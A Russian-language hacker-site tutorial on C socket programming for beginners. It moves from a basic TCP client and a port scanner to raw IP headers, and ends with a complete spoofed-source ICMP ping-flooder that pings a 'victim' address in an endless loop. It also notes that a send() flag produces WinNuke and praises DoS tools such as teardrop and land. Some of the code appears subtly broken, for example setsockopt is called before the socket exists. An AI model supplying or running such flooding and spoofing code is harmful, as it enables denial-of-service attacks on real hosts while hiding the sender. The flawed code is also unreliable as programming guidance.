| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 13.58.25.75
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

IP кодинг

Данный материал написан для начинающих net-programmer'ов, и поэтому насмешки в мой адрес по типу "Фу че за ламерский док ваще!" неуместны. А если кто-то хочет похвастаться своей крутостью, пусть отсылают мне на e-mail теорию buffer overflow, а также свое мнение насчет вычисления адреса стека :).

Также хочу заметить, что я просто ненавижу internet-сленг (рулез, пиплы, аська, маздай и тд), поэтому не использую данные термины в статье.

Перед началом прочтения данной статьи я хочу чтобы ты знал, ЧТО тебе понадобиться для её освоения. Ты наверное уже успел прочесть название и надеешься закодить какой-нибудь winnuke (не трогаю профов в этом деле), но осмелюсь заявить что тебе понадобятся минимум знания по С и UNIX, а также желательно (но не обязательно), чтобы ты имел опыт программирования socket'ов.

Зачем вообще тебе нужен этот гимор с изучением сетевого программирования? Объясняю: Зная, что у протокола внутри, легче заметить и обезвредить атаку извне (звучит?:). Данный материал неплох для админов, которым все наскучило в этой жизни, и они хотят узнать что-то новенькое. И вообще, по-моему, просто не прилично сканировать чужие порты, не зная при этом, какого фига эти порты высвечиваются :).

Итак, приступим к изучению сетевого кодинга, самого веселого кодинга, когда-либо существовавшего на земле. Начнем конечно же с основ - напишем нижеприведенную прогу:

#include <STDIO.H>
#include <STDLIB.H>
#include <SYS socket.h>/*подключаем заголовок для работы с сокетами*/
#include <NETINET in.h>/*для работы с функцией htons()*/
#define FTP_PORT 21 /*наша программа использует 21-й порт (ftp)*/
int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in addr; /*данная структура является адресатом(то есть порт и ip для коннекта или прослушивания)*/
addr.sin_family = AF_INET; /*какое семейство сокетов мы используем*/
addr.sin_addr.s_addr = inet_addr( "127.0.0.1"); /*локальный или удаленный ip address*/
addr.sin_port = htons(FTP_PORT); /*локальный или удаленный порт*/
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); /*создаем сокет*/
}


Для новичка в net кодинге данный исходник не будет понятным, поэтому разъясняю на пальцах. Во-первых, что такое socket? Socket - это что-то вроде твоего телефона, то есть прибор для общения. Любой клиент/сервер, перед коннектом/прослушиванием (соответственно) открывает сокет. Например telnetd сначала, открывает сокет, а только затем присобачивает ему порт 23. Надеюсь ты понял.

Второй вопрос: зачем я везде писал, удаленный или локальный? Просто данный исходник является каркасом для клиента/сервера. Мы еще не определили, какой тип программы мы будем писать. В данной статье я расскажу только о написании клиента.

Продолжаем (пишем клиент):

#include ............................................................
int main(int argc, char *argv[])
{
............... /*то же самое что и в предыдущем source'e*/
char pack[] = "Hello SERVER, it's me CLIENT!!!\n"; /*строчка, которую мы пошлем на сервер*/
connect(sock, (struct sockaddr*)&addr, sizeof(addr)); /*коннектимся, используя "sock" и адресат "addr"*/
send(sock, pack, 0, sizeof(pack)); /*посылаем строчку в переменной pack[]*/ 
/*в функции send(), там где третий параметр равен 0, можешь написать MSG_OOB, и у тебя получится WINNUKE*/
}


Я думаю, что теперь ты понял, что из себя представляет net-кодинг. Наверное, пришло время развеяться, забыть этот четкий порядок изъяснений и всякой прочей лабуды. Почему бы просто не показать реальное применение сетевого программирования в жизни хакера или админа? Ты же не собираешься писать свой HTTP сервер, так? Тогда давай напишем такой народный и жизненно важный инструмент как порт-сканнер. Как он вообще работает? Ну я думаю это ты уж точно знаешь, иначе дочитал бы ты до данного места?

Когда ты вручную коннектишься к портам telnet'ом, ты сам являешься port-scanner'ом. Программы-сканнеры, просто автоматизируют данный процесс, делают его более быстрым и удобным. Выходит, что вычислить алгоритм работы порт сканнера не так уж и сложно!

Вот алгоритм

Включить секундомер.
пока(секундомер не приравняется цифре 65535; продолжать увеличивать)
{
если( подключится(к порту с числом равным числу секундомера) удается)
тогда
вывести_на_экран(номер порта)
}

Здесь мы видим, что клиент(наша программа) будет соединяться с сервером 65535 раз, при этом увеличивая номер порта с каждым коннектом на единицу. Теперь мы приведем данный алгоритм в С коде:

#include <STDIO.H>
#include <STDLIB.H>
#include <SYS socket.h>
#include <NETINET in.h> 

int sec = 0; /*секундомер*/
int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in addr;

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr( "127.0.0.1"); 
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
for(sec=0; sec<=65535; sec++) /* пока(секундомер не приравняется цифре 65535; продолжать увеличивать) */
{
addr.sin_port = htons(sec); /*увеличивать номер порта */
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0)
/*если( подключится(к порту с числом равным числу секундомера) удается)*/
{
printf("открытый порт: %d\n", sec); /* вывести_на_экран(номер порта) */
}
}
}


Надеюсь ты понял, все выше написанное, так как на этом глава для новичков заканчивается.

Теперь я приведу описание функций, которые были использованы мной при написании исходников:

  • socket ( 1_семейство сокетов, 2_тип пересылки, 3_тип протокола );

    1 параметр "семейство сокетов" - обычные сетевые приложения, включая DoS эксплоиты, используют AF_INET. Если ты хочешь кодить в сетях X.25, IPX и т.п., то можешь заменить этот параметр на AF_X25, AF_IPX. Для полного списка погляди на свой linux/socket.h файл.

    2 параметр "тип пересылки" - здесь определяется как ты будешь посылать свои пакеты. Например SOCK_STREAM это тип пересылки для протокола TCP, SOCK_DGRAM - для UDP, и наконец SOCK_RAW ( о нем во второй главе ) для всех остальных (ICMP, IGMP), SOCK_RAW кстати ты можешь использовать и для протоколов TCP/UDP.

    3 параметр "тип протокола" - это самый понятный пункт, здесь ты просто выбираешь протокол с которым будешь работать(IPPROTO_TCP, IPPROTO_UDP, ....... )
  • inet_addr (ip адрес); 

    Данная функция преобразовывает указанный ip в 16ричную систему, понятную для ядра ОС.
  • htons(порт); 

    То же, что и inet_addr(), но с портом.
  • connect(1_сокет, 2_адресат, 3_размер сокета);

    1 параметр "сокет" - просто указывает, какой сокет использовать

    2 параметр "адресат" - куда посылать

    3 параметр "размер сокета" - no comments
  • send(1_сокет, 2_пакет, 3_флаг, 4_размер пакета);

    2 параметр "пакет" - какой пакет отсылаем

    3 параметр "флаг" - здесь ставятся опции, советую всегда ставить 0

Советую тебе сначала ознакомиться с первой частью, хотя, если ты уже знаком с основами написания client/server программ, то у тебя не будет проблем с понятием этой. Как и в первой главе, я буду давать исходники программ и по возможности писать к ним четкие комментарии. Ну, пожалуй, приступим. Сначала, как всегда теория.

Создавая TCP-socket ты писал: socket(AF_INET, SOCK_STREAM,...), так автоматически ты мог работать с TCP протоколом без приложения каких-либо усилий, это хорошо, надо отдать должное монстрам kernel-хакинга - они о нас заранее позаботились, но иногда наши потребности уходят дальше простого соединения. А что, если ты захочешь заSpooFить свой IP адрес (подделать)?

Вот тут-то нам на помощь и приходит такая замечательная вещь, как SOCK_RAW. SOCK_RAW - "сырой" протокол, то есть, включив его, тебе придется писать все шаги коннекта самому, но в данной статье я не опишу этот способ - он слишком сложен и трудоемок.

Я постараюсь тебе объяснить, как отсылать заSpooFенные датаграммы в сеть. Да, кстати, датаграммы - это пакеты, отсылающиеся в сеть без запроса на соединение, объясняю на примере кода:

#include 
#include 
#include 

int main(int argc, char *argv[])
{
int udp_sock;
struct sockaddr_in addr;
char pack[] = "This is an UDP packet";

udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(21);

sendto(udp_sock, pack, sizeof(pack), 0, /*новая ф-ция*/
(struct sockaddr*)&addr, sizeof(addr));
}


В этом исходнике ты видишь, что мы, вместо использования функций connect() и send(), использовали лишь одну функцию sendto(), тем самым, мы не сделали коннекта, а просто послали отдельный пакет на 21 порт. Сейчас расскажу плюсы и минусы этой технологии.

(!+++) Без использования соединения программа может быстрее отсылать пакеты в сеть, ей не надо беспокоиться о посылке SYN-запросов к серверу.

(!---) Минус данного способа в том, что протокол UDP/RAW не заботится о сохранности пакетов (в RAW тебе придется заботится о пакетах самому). Никто тебе не гарантирует, что свежая версия nmap скачается на твой комп в целости и сохранности, в то время как используя полноценный TCP-коннект, ты медленнее, но увереннее download'ишь заветную программу.

Тогда, зачем вообще нужен протокол UDP? Затем, что ты можешь использовать его, например, в чат-программе, или в прогах, где не нужно отсылать слишком много данных (в тех же backdoor'ах). Еще протоколы UDP/RAW используют для написания DoS атак, тот же kod.c (voidozer) использует SOCK_RAW для отсылки на win-машину IGMP пакетов. Как видишь, не так уж и бесполезны эти вещички, как кажутся на первый взгляд.

Так, с датаграммами разобрались, теперь перейдем к описанию SOCK_RAW. Эта вещь может делать с сетью всё, что ты захочешь. Найдя в ней ошибку, можно писать DoS атаки хоть для OpenBSD. Вспомнить хотя бы teardrop.c, land.c и т.д. Эти DoSеры стали известны во всем мире, но проблема заключается в том, что для нахождении ошибки в kernel потребуется изрядно попотеть. Что ж, надеюсь что именно ты найдешь эту заветную ошибку, а пока я научу тебя основам ip low-level кодинга.

 

Для начала разберем понятие ip-header. ip-header-заголовок ip, этот заголовок отсылается со всеми пакетами, которые ты отправляешь в сеть. Вот например в любимой icq ты пишешь другу: "Привет ManDrake!", а в сеть по правде отсылается вот что { [ip_header]"Привет ManDrake!" }.

В ip header'е находится вся информация о тебе, то есть ManDrake при необходимости может использовать сниффера, которые тем и занимаются что выковыривают ip-header и показывают всю информацию, что была в нем (ip_address, port). Структуру ip-header'а ты можешь прочитать в RFC 760 (пусть это будет для тебя домашним заданием :).

Я же объясню все пункты по порядку.

-Version(ip_v) - Версия ip протокола. На данный момент используется четвертая (IPv4), хотя все больше оборотов набирает IPv6. Можете заглянуть в /usr/src/net/IPv* для доп. инфы.

-IHL(ip_hl) - размер заголовка. Чаще всего равен 5, так как минимальный размер заголовка 20 байт (т.е. пять 32-битных слов).

-Type of Service(ip_tos) - тип обслуживания. При желании можно можно менять некоторые параметры пакета,  вся структуру TOS ты можешь обнаружить все в том же RFC. Вообще, чтобы не париться и не вникать в эту ерунду, советую тебе ставить 0 (пусть kernel разбирается:).

-Total Lenght(ip_len) - общий размер всего пакета, включая "Привет ManDrake!":) должно быть не больше размера MTU (1500 байт).

-Identification(ip_id) - идентификация. Расскажу о ней поподробней. Сначала надо понять термин Фрагментация: Протокол TCP, перед тем как послать, например, файл nmap к получателю, разбивает его на части, максимальный размер которых равен 1500 байт каждая. Каждой части он дает ID (identification). То есть дает номер каждому пакету, чтобы на другой стороне (у тебя) файл собрался в одно целое, без всяких ошибок.

-Fragment offset(ip_off) - здесь указываются такие опции, как "фрагментировать пакет или нет".

-Time to Live (ip_ttl) - Дословно переводится как "Время жизни пакета". Вообще-то здесь не имеется ввиду время, которое будет жить пакет. Здесь описывается максимальное число маршутиризаторов (роутеров), через которые сможет пройти пакет. Максимальное число равно 255. Например, если ты отсылаешь пакет и он проходит через число роутеров, превышающее 255, то этот пакет выбрасывается и от роутера к отправителю (в данном случае к тебе) посылается ICMP пакет с типом-11(превыше лимит времени).

-Protocol(ip_p) - здесь указывается протокол, который ты будешь использовать, указав, например, IPPROTO_TCP, ты можешь конструировать свои TCP пакеты вручную(мы же используем SOCK_RAW).

-Header Checksum(ip_sum) - самый мистический пункт заголовка. Если он указан не правильно, то система получателя отвергает пакет. Самому вычислять контрольную сумму практически нереально, зато можно предоставить это дело kernel'у, угадай как: просто написать 0;).

-Source Address(ip_src) - адрес отправителя. Здесь ты можешь ставить любой ip адрес, хоть 31.3.3.7, тогда получатель не узнает твой настоящий ip. По-моему самый весёлый пункт.

-Destination Address(ip_dst) - как не сложно догадаться - адрес получателя.

-Options - доп. опции, последние 10 лет никто не нашел их полезного применения. Здесь записывается до 40 доп. байт, то есть тебе придется менять размер заголовка(IHL). Несложная арифметика показывает. 20б + 40б = 60б (пять 32битных слов + 10 слов = 15 слов), значит поле IHL теперь будет равно 15, вместо 5.

---Data - здесь находятся данные, которые ты отсылаешь ("Привет ManDrake!").

Вот мы и обошли все пункты по порядку. Пришла очередь кода:

#include "sys/types.h" /*включаем заголовки*/
#include "sys/socket.h"
#include "arpa/inet.h"
#if defined(__i386__) && defined (__linux__) /*если исходник мы компилим из под linux'a, то использовать заголовки BSD*/

#define __FAVOR_BSD
#include "netinet/ip.h"
#include "netinet/ip_icmp.h"
#endif

#include "netinet/ip.h"
#include "netinet/ip_icmp.h"
#include "errno.h"
#include "stdlib.h"
#include "stdio.h"
#include "string.h"
#include "fcntl.h"

#define ICMP IPPROTO_ICMP
#define IPCPM_SZ sizeof(struct ip_header) + sizeof(struct icmp_header) /*размер ip+icmp протокола*/
#define IP_SZ sizeof(struct ip_header) /*размер ip протокола*/

int sock;
int on = 1;
unsigned short icmp_pack();
char packet[IPCPM_SZ]; /*пакет, который мы будем посылать[размер протоколов]*/

struct ip_header *ip_head = (struct ip_header*)packet; /*заталкиваем ip-header в наш пакет*/
struct icmp_header *icmp_head = (struct icmp_header*)packet + IP_SZ; /*заталкиваем iсmp-header в наш пакет*/
struct sockaddr_in sins; /*структура адресата (жертвы :))*/

int main(int argc, char *argv[])
{
if(argc < 2)
{
printf("usage: %s [ip address]\n", argv[0]); 
exit(0);
}

setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&on, sizeof(sock)); /*это мы сделали, для того, чтобы использовать 
наш конфиг протоколов, а не kernel'овский */
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); /*создаем сокет-raw*/

if(sock == 0) 
{
perror("socket-icmp"); 
}

ip_head->ip_hl = 5; /*размер заголовка*/
ip_head->ip_v = 4; /*версия протокола ip*/
ip_head->ip_tos = 0; /*тип сервиса*/
ip_head->ip_len = IP_SZ; /*размер ip*/
ip_head->ip_id = htons(0x666); /*идентификатор (ставь любой)*/
ip_head->ip_off = 0; /*фрагментация (если 0, то kernel сам вычислит)*/
ip_head->ip_ttl = 255; /*Time To Live - кол-во роутеров, через которое пройдет наш пакет*/
ip_head->ip_proto = ICMP; /*используемый протокол*/
ip_head->ip_sum = 0; /*контрольная сумма*/
ip_head->ip_src = inet_addr("31.3.3.7");/*наш адрес (можешь ставить любой, так ты маскируешься)*/
ip_head->ip_dst = inet_addr(argv[1]); /*адрес жертвы*/

sins.sin_family = AF_INET;
sins.sin_addr.s_addr = ip_head->ip_dst; /*адрес жертвы*/

icmp_pack(); /*функция построения пакета icmp*/
printf("VICTIM: %s\n", argv[1]);
printf("Here we go!.....\n");

while(1) /*бесконечно делаем ping на комп врага*/
{
sendto(sock, packet, IPCPM_SZ, 0,
(struct sockaddr*)&sins, sizeof(sins));
}
}

unsigned short icmp_pack()
{
icmp_head->type = ICMP_ECHO; /*тип запроса, в нашем случае echo a.k.a ping*/
icmp_head->cksum= 0; /*контрольная сумма*/

return 0;
}

Как видишь, вместе с ip-header'ом можно посылать и другие (udp/tcp/igmp), в нашем случае это ICMP-header. Также следует отметить, что все шаги этой программы обязательны (разве что функцию icmp_pack() можно не объявлять, а просто засунуть icmp-header в main()).

Обязательно надо указать pointer на наш packet, то есть показать, что мы сами будем строить header. Размер также надо указывать точно, как у меня и сделано: #define IPCPM_SZ sizeof(struct ip_header) + sizeof(struct icmp_header) Эта маленькая программа является лишь обычным ping-flooder'ом.

Объясню поподробней насчет функции setsockopt(); Если не использовать данную ф-цию, то kernel может заполнить все пункты ip_head сам, даже те, где не стоит 0. Чтобы он этого не сделал, setsockopt() ставит ему опцию IP_HDRINCL. Как ты уже заметил, я ничего не сказал про icmp заголовок. Он легок для понимания: тебе просто надо посмотреть в свой /usr/include/netinet/ip_icmp.h файл. Все как у ip, только пункты другие, и их намного меньше.
Категория: Общие Статьи | Добавил: aka_kludge (19.08.2008)
Просмотров: 1916 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

12:41
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика